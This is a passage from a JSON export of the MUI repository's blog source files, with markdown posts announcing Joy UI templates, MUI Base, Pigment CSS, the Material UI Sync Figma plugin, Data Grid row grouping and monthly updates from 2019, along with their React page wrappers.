lets you provide your users with multiple color schemes.\nWithin each mode, you'll be able to have as many color schemes as you want－powered by CSS variables.\n\n## When will Joy UI be ready to use?\n\nA significant part of the core infrastructure for Joy UI has already been developed, and we've been working for the last couple of months on adding more components.\nThe package is already [available from npm](https://www.npmjs.com/package/@mui/joy) but until we get to a reasonable number of components, and with sufficient documentation, it remains an _initial_ work in progress.\n\nIt should be ready for more mature experimentation and testing in the second half of 2022.\nMeanwhile, we've developed a couple of templates that showcase what Joy UI looks like out of the box, so you can explore it further.\nFollow the templates' CodeSandbox or live demo links to experiment with Joy UI for yourself.\n\n:::success\nThey are also available in the docs [Templates page](/joy-ui/getting-started/templates/).\n:::\n\n### Email\n\n<a href=\"/joy-ui/getting-started/templates/email/\"><img src=\"/static/blog/first-look-at-joy/email.png\" width=\"1200\" height=\"600\" loading=\"lazy\" alt=\"Screenshot of an email application mockup built with Joy UI\" /></a>\n\n- [Live demo](/joy-ui/getting-started/templates/email/)\n- [CodeSandbox](https://codesandbox.io/p/sandbox/8gtttr?file=/App.tsx)\n\n### File management\n\n<a href=\"/joy-ui/getting-started/templates/files/\"><img src=\"/static/blog/first-look-at-joy/files.png\" width=\"1200\" height=\"600\" loading=\"lazy\" alt=\"Screenshot of file management application mockup built with Joy UI\" /></a>\n\n- [Live demo](/joy-ui/getting-started/templates/files/)\n- [CodeSandbox](https://codesandbox.io/p/sandbox/ro2b1t?file=/App.tsx)\n\n### Team management\n\n<a href=\"/joy-ui/getting-started/templates/team/\"><img src=\"/static/blog/first-look-at-joy/people.png\" width=\"1200\" height=\"600\" loading=\"lazy\" alt=\"Screenshot of a team management application mockup built with Joy UI\" /></a>\n\n- [Live demo](/joy-ui/getting-started/templates/team/)\n- [CodeSandbox](https://codesandbox.io/p/sandbox/dclgbp?file=/App.tsx)\n\nJoy UI is just getting started and we hope you're as excited as we are－stay tuned for more news in the near future!\n\nHappy developing! 👩‍💻\n"
  },
  {
    "path": "docs/pages/blog/introducing-base-ui.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './introducing-base-ui.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/introducing-base-ui.md",
    "content": "---\ntitle: 'Introducing MUI Base: the headless alternative to Material UI'\ndescription: The MUI Base component library gives you complete control over the look and feel of your app.\ndate: 2022-09-07T00:00:00.000Z\nauthors: ['michaldudak', 'samuelsycamore']\ntags: ['Base UI', 'Product']\nmanualCard: true\n---\n\n<a href=\"https://v6.mui.com/base-ui/getting-started/\"><img src=\"/static/blog/introducing-base-ui/hero-image.png\" alt=\"Demo components built with MUI Base, a newly introduced library of unstyled components and hooks\" width=\"2400\" height=\"1000\" /></a>\n\nWhile Material UI is excellent for building sleek user interfaces that adhere closely to Material Design, it can become unwieldy when your design system diverges significantly from the defaults.\nWe get it.\nWe've all been there.\n\nThat's why we're building an entirely new library of headless React UI components and hooks called **MUI Base**—to give you complete control over the look and feel of your user interface, with no defaults to override.\n\nMUI Base is easy to pick up if you're already familiar with Material UI, as the APIs are very similar—indeed, they were designed to be complementary to one another.\nStart from scratch with MUI Base, or use Material UI for rapid prototyping, and then switch to MUI Base when you need more customization options.\n\n## Why MUI Base?\n\nMUI Base was created to serve a different set of needs than those addressed by Material UI.\nMaterial UI shines at providing you with the means to quickly create user interfaces that look close to the Material Design specification.\nMUI Base, on the other hand, prioritizes customizability over the speed of development.\nThis makes it better suited for public-facing projects where pixel-perfect implementation is crucial.\n\nSo, why not use any of the headless libraries already present on the market instead?\nThere are other alternatives like Headless UI, Radix Primitives, and React Aria, to name a few.\nMUI Base's significant advantage is that it takes the best parts from Material UI, which is a complete, mature library.\nIt is free from many of the issues that have been reported and fixed in Material UI.\nAlso, many of the improvements to Material UI proposed by the community over the years are included in MUI Base.\n\nWhile they were created for different use cases, these two libraries share many common features and design patterns, and are intended to be complementary to one another within the MUI ecosystem.\nMUI Base's API will be familiar to you if you've used Material UI before, making it easy to migrate a project—or just a part of it—from one library to the other if needed.\nWe aim to create [unstyled versions of all Material UI components](https://github.com/mui/base-ui/issues/10) (that make sense to do so).\n\n## Components and hooks\n\nMUI Base offers two kinds of building blocks: unstyled components and hooks.\n\nComponents are more straightforward to use of the two.\nPlace a component on a page, add your own styles, and it's ready to go!\nIt's important to note that you are not limited to the styling options available in Material UI.\nYou can, of course, still use [MUI System](https://mui.com/system/getting-started/), but if you prefer Emotion, Tailwind CSS, plain CSS, or any other styling engine, they are available too!\nCheck out the [Working with Tailwind CSS guide](https://v6.mui.com/base-ui/guides/working-with-tailwind-css/) for an example of using this library.\n\nIn contrast to Material UI, MUI Base's components do not have any default styles.\nThey provide functionality and structure, while designers and developers are responsible for the visuals.\n\nEach unstyled component lets you modify or override its _slots_—smaller subcomponents representing the interior elements that comprise the component's DOM structure.\nFor example, a `SwitchUnstyled` contains the root, thumb, input, and track slots.\nYou can control props passed to each of these slots (including `className`) based on the component's state, and even replace the default slot components with your own.\n\n<img src=\"/static/blog/introducing-base-ui/switch-slots.png\" width=\"2400\" height=\"1000\" loading=\"lazy\" alt=\"Depiction of SwitchUnstyled components' slots\" />\n\nSee how it works on the live demo:\n\n<iframe src=\"https://codesandbox.io/embed/mui-base-switch-overview-frsm5f?fontsize=12&hidenavigation=1&module=%2Fsrc%2FMySwitch.tsx&theme=dark\" style=\"width:100%; height:350px; border:0; border-radius: 10px; overflow:hidden; margin-bottom: 24px\" title=\"MUI Base Switch overview\" sandbox=\"allow-forms allow-modals allow-popups allow-presentation allow-same-origin allow-scripts\"\n></iframe>\n\nHooks take this one step further by extracting the logic from the structure entirely, so you can build from scratch using any DOM elements you need.\nThis requires more work to implement but gives you the most freedom to customize.\n\nUpon calling, a hook returns an object describing the component's state (that is whether the switch is turned on), along with methods that apply accessibility props and event handlers.\nYou should spread these props on the components you've defined, as shown below:\n\n```tsx\nfunction MySwitch(props: UseSwitchParameters) {\n  const { getInputProps, checked, disabled } = useSwitch(props);\n\n  return (\n    <span className={clsx('root', { checked, disabled })}>\n      <span className=\"thumb\" />\n      <input className=\"input\" {...getInputProps()} />\n    </span>\n  );\n}\n```\n\n## What's included\n\nThe initial version of the library contains 17 components.\nCheck out the [MUI Base documentation](https://v6.mui.com/base-ui/getting-started/) for details.\n\nYou can track our progress in adding new components—and comment to influence our priorities—in [this dedicated GitHub issue](https://github.com/mui/base-ui/issues/10).\n\nThe `@mui/base` package is released as an alpha.\nThis means the component APIs are subject to change—especially as we receive feedback from the community about room for improvement.\nHowever, we believe the library is solid enough at this point to start building design systems with it.\nIn fact, we're using MUI Base to create [Joy UI](/blog/first-look-at-joy/)—the next product we'll be launching in our line of Core component libraries that also includes Material UI.\nIn the future, MUI Base will also be used as the foundation for Material UI components to provide a consistent developer experience across our entire suite of products.\n\n## Feedback needed\n\nGive MUI Base a try today by running one of the following commands:\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install @mui/base\n```\n\n```bash pnpm\npnpm add @mui/base\n```\n\n```bash yarn\nyarn add @mui/base\n```\n\n</codeblock>\n\nCheck out [the docs](https://v6.mui.com/base-ui/getting-started/), play with the components, and be sure to let us know what you think!\n\nIf you find any bugs or want to share ideas for improvements, please don't hesitate to open an issue in the [MUI Core repository on GitHub](https://github.com/mui/material-ui/issues/new/choose).\nBe sure to include \"[base-ui]\" in the issue title to help us keep things organized.\n\nHappy creating!\n"
  },
  {
    "path": "docs/pages/blog/introducing-pigment-css.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './introducing-pigment-css.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/introducing-pigment-css.md",
    "content": "---\ntitle: 'A preview of Pigment CSS: the next generation of CSS-in-JS'\ndescription: 'Pigment CSS offers significant performance gains along with RSC and App Router support.'\ndate: 2024-05-16T00:00:00.000Z\nauthors:\n  [\n    'samuelsycamore',\n    'brijeshb42',\n    'siriwatknp',\n    'mnajdova',\n    'danilo-leal',\n    'oliviertassinari',\n  ]\ntags: ['Pigment CSS', 'Product']\nmanualCard: true\n---\n\nCheck out MUI's CEO Olivier Tassinari introducing Pigment CSS at React Conf 2024:\n\n<iframe src=\"https://www.youtube.com/embed/n_0cz-JwlsU\" title=\"YouTube video player\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen style=\"width: 100%; height: 100%; aspect-ratio: 16/9; border: 0\"></iframe>\n\nIn the era of React Server Components and the Next.js App Router, component libraries like Material UI have an opportunity to gain performance improvements by moving rendering work from the client to the server.\n\nTrouble is, the \"traditional\" CSS-in-JS solutions we rely on aren't able to come along with us because the [React context API](https://react.dev/learn/passing-data-deeply-with-context) only works with client-side components.\nWith nearly 70% of respondents in the [State of CSS 2023 survey](https://2023.stateofcss.com/en-US/css-in-js/) indicating they use styled-components and Emotion, we're looking at a whole lot of React developers with no clear path forward from here.\n\nFor a library as widely used as Material UI, the biggest challenge is to innovate while introducing as few breaking changes as possible.\nWe need to maintain a consistent and reliable developer experience without asking you to completely change the way you build UI components.\n\nThat's where [Pigment CSS](https://github.com/mui/pigment-css) comes in.\n\n<a href=\"https://github.com/mui/pigment-css\">\n  <img src=\"/static/blog/introducing-pigment-css/card.png\" alt=\"Introducing Pigment CSS: the next generation of CSS-in-JS\" width=\"1280\" height=\"640\" loading=\"lazy\" />\n</a>\n\nPigment CSS is a zero-runtime CSS-in-JS library that generates colocated styles to their own CSS files at build time.\nWith Pigment CSS you get significant performance improvements when compared with Emotion, the styling engine used in Material UI v5, _plus_ RSC compatibility.\nAnd though we're prioritizing the needs of Material UI users in early development and focusing on a smooth migration, Pigment CSS can be used with _any_ React component library you prefer.\n\n## Why Pigment CSS?\n\n### Traditional CSS-in-JS is not enough\n\nEmotion made a lot of sense for Material UI v5.0.0 in late 2021, but so much has changed in the React ecosystem since then.\nAfter Next.js offered the first implementation of the React Server Components spec with [the App Router](https://nextjs.org/blog/next-13) towards the end of 2022, it became clear that there was a monumental shift on the horizon.\n\nRSCs unlock a whole new realm of possibilities for React; for us as UI developers, it means we can create components that are fully renderable at build-time so we don't have to pass that burden on to the client at run-time.\nBut working with RSCs requires us to let go of familiar APIs like `React.useContext`, which in turn becomes a major blocker for using the last generation's style engines like Emotion that rely heavily on this hook for theming.\n\n:::info\nTo learn more about RSCs, we recommend reading [Making Sense of React Server Components](https://www.joshwcomeau.com/react/server-components/) by Josh Comeau.\n:::\n\n### Material UI is a unique use case\n\nMaterial UI is downloaded millions of times per month and is one of the most rigorously battle-tested UI libraries on the internet, with a GitHub history spanning all the way back to 2014.\nIt's had to make some massive changes along the way to keep up with the times; most recently, moving from JSS to Emotion from v4 to v5.\nWhile those breaking changes did bring many benefits overall, they unfortunately came with a painful migration experience.\n\nWe learned our lesson! We don't want to impose this on you again.\n\nSo when it came time to seek out a new way to generate styles, we knew we needed to keep the syntax and authoring experience as similar as possible to Emotion and styled-components—and provide codemods for most of the breaking changes—in order to minimize friction when migrating.\n\n### Other options don't meet our needs\n\nFor those of us who are perfectly happy with the patterns we know and love from CSS-in-JS, it feels frustrating to consider abandoning all that muscle memory just to reinvent the wheel yet again.\nWe love the DX of colocated styles, and we'd rather not migrate the API to atomic class names.\nWe want to support nested selectors at scale—so Tailwind CSS, StyleX, Panda CSS, and other solutions that have appeared in recent months are not viable options.\n\nPigment CSS started as a [Linaria](https://linaria.dev/) fork, but we found more of the tools we needed to achieve our goals with [WyW-in-JS](https://wyw-in-js.dev/), the open-source library that also powers Linaria.\n\n## How Pigment CSS works\n\nPigment CSS is a zero-runtime CSS-in-JS library: This means it doesn't have access to the end user's browser JavaScript runtime, so it can't use the runtime to generate and insert CSS.\nInstead, it does all its processing at build-time to pre-generate the CSS which then becomes part of the output bundle.\n\nIt uses WyW-in-JS processor feature which makes it possible to create custom logic that's triggered by the presence of different imports from the library.\nThe processor looks through the source code for `styled()`, `css()`, and other function calls and extracts the arguments to be evaluated.\nThese values are then handed back to Pigment CSS for additional parsing and evaluation.\n\n:::info\nCheck out [How Pigment CSS works](https://github.com/mui/pigment-css/blob/master/HOW_PIGMENT_CSS_WORKS.md) for complete details.\n:::\n\n## Benefits of using Pigment CSS\n\nFor users of Emotion and styled-components, the benefits of adopting Pigment CSS are clear: your end users get better performance, and you get RSC and App Router compatibility without having to significantly change how you author component styles.\n\n### Better page load performance\n\nWhen comparing the same Material UI app built with Next.js and either Emotion or Pigment CSS, we've observed the following page load performance gains using the same code:\n\n<!-- vale MUI.CorrectReferenceAllCases = NO -->\n\n| Metrics             |                                                                                                        Emotion |                                                                                                        Pigment CSS | Change |\n| :------------------ | -------------------------------------------------------------------------------------------------------------: | -----------------------------------------------------------------------------------------------------------------: | -----: |\n| First Load JS       |                                                            [131 kB](https://emotion-demo.vercel.app/?metric=1) |                                                            [104 kB](https://pigment-css-demo.vercel.app/?metric=1) |   -20% |\n| Total blocking time | [280 ms](https://pagespeed.web.dev/analysis/https-emotion-demo-vercel-app/uxfpkvbp31?hl=fr&form_factor=mobile) | [210 ms](https://pagespeed.web.dev/analysis/https-pigment-css-demo-vercel-app/azcw1qxkec?hl=fr&form_factor=mobile) |   -25% |\n\n<!-- vale MUI.CorrectReferenceAllCases = YES -->\n\n:::info\nTo reproduce those numbers yourself, check out these live demos and repositories:\n\n- Emotion\n  - Live: https://emotion-demo.vercel.app/?metric=1\n  - Source: https://github.com/brijeshb42/emotion-demo\n- Pigment CSS\n  - Live: https://pigment-css-demo.vercel.app/?metric=1\n  - Source: https://github.com/brijeshb42/pigment-css-landing-page-demo\n\n:::\n\n### Better runtime performance\n\nWhen comparing the same Material UI app built with Next.js and either Emotion or Pigment CSS, we've observed the following runtime performance gains using the same code:\n\n<!-- After page load, runtime performance is also improved with Pigment CSS. -->\n\n| Metrics                                 | Emotion | Pigment CSS | Change |\n| :-------------------------------------- | ------: | ----------: | -----: |\n| Create and mount a new button           | 17.3 ms |     10.1 ms |   -42% |\n| Change a variant on a mounted component | 14.0 ms |     9.13 ms |   -34% |\n| Change a value inside a CSS prop        | 13.6 ms |     8.63 ms |   -37% |\n\n:::info\nTo reproduce those numbers yourself, check out these live demos and repositories:\n\n- Emotion\n  - Live: https://pigment-css-demo.vercel.app/perf\n  - Source: https://github.com/brijeshb42/emotion-demo\n- Pigment CSS\n  - Live: https://pigment-css-demo.vercel.app/perf\n  - Source: https://github.com/brijeshb42/pigment-css-landing-page-demo\n\n:::\n\n### Familiar developer experience\n\nFor developers migrating from Emotion or styled-components, you're probably already familiar with the most common patterns employed by Pigment CSS.\n`styled()` and `css()` are the two main functions used to define styles, and they mostly work the same as you'd expect them to (with some notable differences due to the nature of build-time CSS-in-JS—see [Coming from Emotion or styled-components](https://github.com/mui/pigment-css/tree/master?tab=readme-ov-file#coming-from-emotion-or-styled-components) for details).\n\n```jsx\nimport { styled, css } from '@pigment-css/react';\n\nconst Title = styled('h1') ({\n  fontSize: '2rem';\n});\n\nconst Container = styled.div`\n  border: 1px solid red;\n\n  &:hover {\n    border-color: blue;\n  }\n\n  ${Title} {\n    margin-bottom: 2.5rem;\n  }\n`;\n\nexport default function Modal() {\n  return (\n    <Container>\n      <Title>Hello</Title>\n      <p className={css({ color: 'pink' })}>World</p>\n    </Container>\n  );\n}\n```\n\nWe've also ported over [the `sx` prop](/system/getting-started/the-sx-prop/) from MUI System, so you can still define styles directly in a given component, but now it's much more performant than before.\nAnd in Pigment CSS, we've extended support for `sx` to include _all_ DOM nodes—not just Material UI components—so you don't need to wrap a simple `<div>` or `<span>` with a Box component to apply theme styles to it.\n\n```jsx\n<section sx={{ p: 2, border: '1px solid', borderColor: 'divider' }}>\n  <h1 sx={{ fontSize: '2rem', fontWeight: 700, mb: 1 }}>\n    Introducing Pigment CSS: the next generation of CSS-in-JS\n  </h1>\n  <p sx={{ color: 'text.primary', fontWeight: 500 }}>\n    Pigment CSS offers significant performance gains along with RSC\n  </p>\n</section>\n```\n\n### Future-proof solution\n\nThough we're still quite early in the RSC era, it seems inevitable that the React ecosystem as a whole will converge on this new paradigm over time.\nNext.js gave us our first glimpse with the App Router; RedwoodJS [recently released their own implementation](https://redwoodjs.com/blog/rsc-now-in-redwoodjs); and many other frameworks and meta-frameworks (like Remix) are currently working out [POCs and RFCs](https://github.com/remix-run/remix/discussions/8048) to catch up.\nRegardless of how quickly Server Components catch on among developers, it's clear that library maintainers must now support [the two Reacts](https://overreacted.io/the-two-reacts/) (client-side and server-side) to stay relevant into the future.\n\nPigment CSS, then, is yet another bet from MUI on the longevity and sustainability of the React ecosystem—and a promise that we'll continue to innovate in this space for years to come.\n\nAnd perhaps most importantly: because Pigment CSS is maintained by the same folks behind Material UI, we'll have a lot more control over how the tool evolves over time to continue to meet our users' needs.\nIn a perfect world, this would be the last time you'd ever have to migrate your Material UI app to a new style engine.\nWe'll do our best to make that a reality. 🤞\n\n## What's next\n\nPigment CSS is currently in the early alpha stage of development—the plan is to have a fully featured version ready to release alongside Material UI v6 later this year.\nWhen that happens, you'll have the choice to opt in to Pigment CSS incrementally after upgrading to v6, giving you all the time you need to migrate on your own terms.\n\nThat said, Pigment CSS is available now for experimentation, and we'd love for you to give it a try and let us know what you think—your feedback at this stage could have a major impact on the final product.\n\n## Get started with Pigment CSS\n\nHead to the [Pigment CSS repository](https://github.com/mui/pigment-css/) to learn how to set it up and start tinkering.\nPlease feel free to [open a new issue](https://github.com/mui/pigment-css/issues) if you encounter any bugs or frustrations along the way.\nAnd while you're there, why not ⭐️ star the repository ⭐️ to let us know you're excited and help spread the word to others? 😁\n"
  },
  {
    "path": "docs/pages/blog/introducing-sync-plugin.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './introducing-sync-plugin.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/introducing-sync-plugin.md",
    "content": "---\ntitle: 'Material UI Sync: a Figma plugin that exports theme code'\ndescription: Enable designers to generate production-ready code directly from the Material UI Figma Design Kit.\ndate: 2024-04-30T00:00:00.000Z\nauthors: ['danilo-leal', 'DavidCnoops']\ntags: ['Material UI', 'Product']\nmanualCard: true\n---\n\nOver the last few years, we've seen designers increasingly seeking out ways to participate more directly and collaborate more effectively in the development process.\nThe [Material UI Design Kit for Figma](/store/items/figma-react/) was our first attempt to meet those needs by providing designers with one-to-one mockups of Material UI components for implementing custom design systems.\nBut it doesn't go far enough on its own to bridge the gap between design and code—the developer still needs to write the designer's custom styles from scratch.\n\nThat got us thinking:\nWhat if designers could generate production-ready code directly from their design software to hand off to developers working with a Material UI codebase?\n\nThat's why we created Sync, a Figma plugin for generating styles that can be copied and pasted straight into your Material UI app's theme.\nWe're happy to share that the beta version is [available now on Figma](https://www.figma.com/community/plugin/1336346114713490235/material-ui-sync). 🚀\n\n<img src=\"/static/blog/introducing-sync-plugin/card.png\" alt=\"Material UI Sync is a Figma plugin that lets you generate a theme from the Material UI for Figma Design Kit.\" width=\"2560\" height=\"1280\" />\n\nLet's take a look at some of its key features:\n\n## Theme customization\n\nFigma's local variables significantly matured the use of design tokens, making it possible to mirror Material UI more closely.\nSync relies on these local variables to generate code corresponding to each element and state.\n(As such, it requires [v5.16.0 or later](https://github.com/mui/mui-design-kits/releases/tag/v5.16.0) of the Material UI Design Kit; earlier versions do not support local variables.)\n\n<video controls muted loop playsinline width=\"1584\" height=\"1080\">\n  <source src=\"/static/blog/introducing-sync-plugin/sync-theme.mp4\" type=\"video/mp4\">\n</video>\n\nVisit the documentation to learn [how to insert the generated code into your theme file](/material-ui/design-resources/material-ui-sync/#using-the-generated-theme).\n\n## Component customization\n\nYou can fully customize a component's appearance across multiple states in the Design Kit and then generate the corresponding theme code.\nThis is one of the most exciting features because it enables designers to use the visual design tools they're already comfortable with to make changes to the code itself.\n\n<video controls muted loop playsinline width=\"1584\" height=\"1080\">\n  <source src=\"/static/blog/introducing-sync-plugin/sync-component.mp4\" type=\"video/mp4\">\n</video>\n\n:::warning\nWhile in beta, not all components are supported yet.\nWe'll expand component coverage progressively in the coming months.\nFor now, you can experiment with the Button, Switch, and Typography.\n:::\n\n## Quick Storybook preview\n\nThe Material UI Sync plugin also bakes in an embedded Storybook preview panel so that you can conveniently play around with your changes and see how they interact with other props and states available in the component API.\n\n<video autoplay muted loop playsinline width=\"1584\" height=\"1080\">\n  <source src=\"/static/blog/introducing-sync-plugin/sync-storybook.mp4\" type=\"video/mp4\">\n</video>\n\n## Try Sync now\n\nGet the beta version of Material UI Sync now, available to try for free in the [Figma Community](https://www.figma.com/community/plugin/1336346114713490235/material-ui-sync)!\n\nThere's still a lot to do, and we're looking forward to hearing from all of you [who requested this plugin years ago](https://github.com/mui/mui-design-kits/issues/10).\n\n- Check out the documentation for [the Sync plugin](/material-ui/design-resources/material-ui-sync/) and [the Material UI Design Kit](/material-ui/design-resources/material-ui-for-figma/).\n- If you've got any feedback, we'd love to [hear from you](https://github.com/mui/mui-design-kits/discussions/84).\n\nHappy designing! 👨‍🎨\n"
  },
  {
    "path": "docs/pages/blog/introducing-the-row-grouping-feature.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './introducing-the-row-grouping-feature.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/introducing-the-row-grouping-feature.md",
    "content": "---\ntitle: Give your users more freedom with Data Grid row grouping\ndescription: The new row grouping feature gives your users more customization options for organizing their data.\ndate: 2022-01-20T00:00:00.000Z\nauthors: ['alexfauquette']\ntags: ['MUI X', 'Product']\nmanualCard: true\n---\n\nAfter an incredible year fully focused on improving our Data Grid component, we are moving forward by launching the first feature of our new Premium plan: [row grouping](/x/react-data-grid/row-grouping/), released in [v5.3.0](https://github.com/mui/mui-x/releases/tag/v5.3.0).\n\nLet's take a closer look at this feature.\n\n## Navigate your data 🚢\n\nIf you already use the Pro plan, you may be familiar with the [tree data](/x/react-data-grid/tree-data/) which allows your users to navigate in the hierarchy by opening and closing children of a row.\n\nBut not all data has a natural hierarchy, and your users might need to modify the order.\n\nGood news! This is now possible with row grouping.\n\n### Row grouping in action\n\nConsider this sample data of the top 250 movies according to IMDb. Would you group them by director, box office results, or year of release?\n\nThe answer depends on what the user wants to do. So give them the freedom to choose!\n\nWith the new row grouping feature, you can click on the **Director** column menu and select **Group by Director** to group all the rows with the same director.\n\nWhen you're ready to return to the default view, click on **Stop Grouping by Director** in the same column menu.\n\n<video autoplay muted loop playsinline controls width=\"767\" height=\"509\">\n  <source src=\"/static/blog/introducing-the-row-grouping-feature/blog1.mp4\" type=\"video/mp4\" />\n</video>\n\n## How to unlock this feature 🔓🎁\n\nThe row grouping feature will be part of the Premium plan when it is launched. For now, you can access it on the Pro plan by enabling experimental features.\n\n```js\n<DataGridPro experimentalFeatures={{ rowGrouping: true }} {...otherProps} />\n```\n\nNote: Row grouping is stable in its current form. The _experimental_ flag is here to make sure that the Pro plan will not have any regression when the feature is eventually moved to the Premium plan.\n\n## How to set the default grouping ⚡️\n\nSave your users time by defining the initial grouping. To do so, specify the row grouping model in the `initialState` prop.\n\nFor a page with information about directors, we could group by director and box office as follows:\n\n```js\n<DataGridPro\n  experimentalFeatures={{ rowGrouping: true }}\n  initialState={{\n    rowGrouping: {\n      model: ['Director', 'BoxOffice'],\n    },\n  }}\n  {...otherProps}\n/>\n```\n\nYou can still modify this grouping configuration in the column menus.\n\nBut as you can see in the example below, setting the default grouping allows us to hone in on the data we find most interesting, such as the box office results of Hitchcock's films:\n\n<img src=\"/static/blog/introducing-the-row-grouping-feature/defaultSettings.png\" alt=\"remove groupable option\" width=\"765\" height=\"506\" loading=\"lazy\" />\n\n## Cherry-pick the groupable columns 🍒\n\nBefore letting your users enjoy this new feature, let's adapt it to your use case.\n\nNot all columns will be ideal candidates. Row grouping is most useful when information is repeated in a given column, such as the names of movie directors.\n\nIn our example of the top 250 movies, grouping by title does not make sense—each movie has a different name, so there will be no row groups.\n\nYou can remove the ability to group a specific column by setting the property `groupable` to `false` in the column definition.\n\nThis removes the **Group by** option in the corresponding column menu.\n\n<img src=\"/static/blog/introducing-the-row-grouping-feature/groupable1.png\" alt=\"remove groupable option\" width=\"765\" height=\"464\" loading=\"lazy\" />\n\n## Customize grouping behavior 🔧\n\nSome columns are interesting, but don't lend themselves well to grouping.\n\nFor example, the release date of a movie is interesting information, but grouping by the exact date leads to one group per movie (except for _The Thing_ and _Blade Runner_, which as we all know were both released on June 25th, 1982 😅).\n\nIt is more interesting to group them by decade.\n\nFor this purpose, the column definitions accept the property [`groupingValueGetter`](/x/react-data-grid/row-grouping/#using-groupingvaluegetter-for-complex-grouping-value).\n\nIts signature is similar to `valueGetter` and it returns the grouping value associated with the column.\n\nTo group our movies by decade, we could use the following:\n\n```js\ngroupingValueGetter: ({ value }) => `${Math.floor(value.getFullYear() / 10)}0's`;\n```\n\n<video autoplay muted loop playsinline controls width=\"767\" height=\"509\">\n  <source src=\"/static/blog/introducing-the-row-grouping-feature/blog2.mp4\" type=\"video/mp4\" />\n</video>\n\n## Share your feedback 🗣\n\nWe hope you find this new feature useful. Please don't hesitate to open [issues](https://github.com/mui/mui-x/issues/new/choose) to share feedback, report bugs, or propose enhancements.\n\nMore details about row grouping customization can be found in the [documentation](/x/react-data-grid/row-grouping/#disable-the-row-grouping).\n\nFor more information about our v5.3.0 release, visit the [changelog](https://github.com/mui/mui-x/releases/tag/v5.3.0).\n"
  },
  {
    "path": "docs/pages/blog/july-2019-update.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './july-2019-update.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/july-2019-update.md",
    "content": "---\ntitle: July 2019 Update\ndescription: Here are the most significant improvements in July.\ndate: 2019-08-04T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\nHere are the most significant improvements in July:\n\n- 🌳 We have introduced a new [Tree View component](/x/react-tree-view/) in the lab. Big thanks to Josh for it.\n\n  <video autoplay muted loop playsinline width=\"562\" height=\"234\">\n    <source src=\"/static/blog/july-2019-update/tree-view.mp4\" type=\"video/mp4\" />\n  </video>\n\n- 💄 We have added support for [vertical tabs](/material-ui/react-tabs/#vertical-tabs).\n\n  ![Vertical tabs](/static/blog/july-2019-update/vertical-tabs.png)\n\n- ⚛️ We have introduced a codemod that makes it easy to migrate to top-level imports.\n  Read our [Minimizing Bundle Size](/material-ui/guides/minimizing-bundle-size/) guide to learn how your project should be configured.\n\n  ```js\n  import { Button, TextField } from '@mui/material';\n  ```\n\n- ⭐️ We have introduced a new [Rating component](/material-ui/react-rating/) in the lab.\n\n  ![Rating](/static/blog/july-2019-update/rating.png)\n\nBut this summary is just scratching the surface. We have accepted 146 commits from 54 different contributors. We have changed 2,004 files with 29,022 additions and 25,455 deletions.\n\n## Our roadmap intent for August\n\n_(We'll do our best, no guarantee!)_\n\n- 🔍 We will work on providing ready-to-use autocomplete, combo box, and multi-select components.\n\n- 🦴 We will continue to work on a new Skeleton component. You can already [preview it](https://deploy-preview-16786--material-ui.netlify.app/components/skeleton/).\n\n  ![Skeleton](/static/blog/july-2019-update/skeleton.png)\n\n- ❓ Please upvote our [GitHub issues](https://github.com/mui/material-ui/issues) if you want something specific. The number of 👍 helps us to prioritize.\n"
  },
  {
    "path": "docs/pages/blog/june-2019-update.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './june-2019-update.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/june-2019-update.md",
    "content": "---\ntitle: June 2019 Update\ndescription: Here are the most significant improvements in June.\ndate: 2019-07-08T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\nHere are the most significant improvements in June:\n\n- 💄 We have introduced a new [ButtonGroup](/material-ui/react-button-group/) component.\n  ![ButtonGroup](/static/blog/june-2019-update/button-group.png)\n\n- 💄 The [Slider](/material-ui/react-slider/) component has been overhauled and enhanced with range support. It was also moved from the lab to the core.\n  ![Slider](/static/blog/june-2019-update/slider.png)\n\n- 💄 We have introduced a new [TextareaAutosize](/material-ui/react-textarea-autosize/) component.\n  <video style=\"margin-bottom: 24px;\" autoplay muted loop playsinline>\n    <source src=\"/static/blog/june-2019-update/textarea-autosize.mp4\" type=\"video/mp4\" />\n  </video>\n\nBut this summary is just scratching the surface. We have accepted 198 commits from 71 different contributors. We have changed 5,384 files with 26,199 additions and 18,097 deletions.\n\n## Our roadmap intent for July\n\n_(We'll do our best, no guarantee!)_\n\n- We will keep working on a new Tree View component.\n  You can already [preview it](https://deploy-preview-14827--material-ui.netlify.app/components/tree-view/).\n  ![Tree View](/static/blog/may-2019-update/tree-view.png)\n\n- We will work on a new Rating component.\n  You can already [preview it](https://deploy-preview-16455--material-ui.netlify.app/components/rating/).\n  ![Rating](/static/blog/june-2019-update/rating.png)\n\n- ❓ Please upvote our [GitHub issues](https://github.com/mui/material-ui/issues) if you want something specific. The number of 👍 helps us to prioritize.\n"
  },
  {
    "path": "docs/pages/blog/lab-date-pickers-to-mui-x.js",
